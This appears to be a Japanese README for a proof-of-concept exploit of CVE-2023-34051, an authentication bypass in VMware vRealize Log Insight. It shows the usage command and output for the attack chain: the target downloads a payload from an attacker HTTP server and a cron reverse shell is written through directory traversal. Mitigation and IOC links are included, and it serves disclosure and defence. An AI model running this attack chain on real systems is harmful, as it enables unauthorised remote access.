CVE-2023-34051

CVE-2023-34051 は、VMSA-2023-0001 のパッチを回避する認証バイパスです。 vRealize Log Insight 向け VMSA-2023-0001 には、以下の CVE が含まれています:

• VMware vRealize Log Insight ディレクトリトラバーサル脆弱性 (CVE-2022-31706)
• VMware vRealize Log Insight の不適切なアクセス制御の脆弱性 (CVE-2022-31704)
• VMware vRealize Log Insight の情報漏えいの脆弱性 (CVE-2022-31711)

この脆弱性のデフォルト設定では、リバースシェルを作成する cron ジョブが書き込まれます。 必ず payload ファイルを実行環境に合わせて変更してください。

技術分析

この脆弱性の根本原因に関する技術分析は、当社ブログで公開しています: https://www.horizon3.ai/vmware-aria-operations-for-logs-cve-2023-34051-technical-deep-dive

侵害の指標

Log Insight インスタンスの侵害の指標を分析するには、IOC ブログをご覧ください: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/

概要

この POC は、IP アドレスのスプーフィングとさまざまな Thrift RPC エンドポイントを悪用することで、任意のファイル書き込みを実現します。

使用方法

$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit 
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered

トラブルシューティング

この攻撃を機能させるには、攻撃者はマスターノード / ワーカーノードと同じ IP アドレスを持っている必要があります。詳細は上記のブログを参照してください。

cron ベースのペイロードを使用する場合は、ペイロードファイルが適切な権限と所有者を持っていることを確認してください:

sudo chown root:root payload

sudo chmod 0644 payload 

緩和策

最新バージョンに更新するか、VMSA 内の手順に従って緩和してください。 https://www.vmware.com/security/advisories/VMSA-2023-0021.html

Twitter で最新のセキュリティリサーチを入手するには、Horizon3.ai Attack Team をフォローしてください:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

免責事項

このソフトウェアは、学術研究と効果的な防御技術の開発のみを目的として作成されており、明示的に許可された場合を除き、システムへの攻撃に使用することを意図したものではありません。プロジェクトメンテナは、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。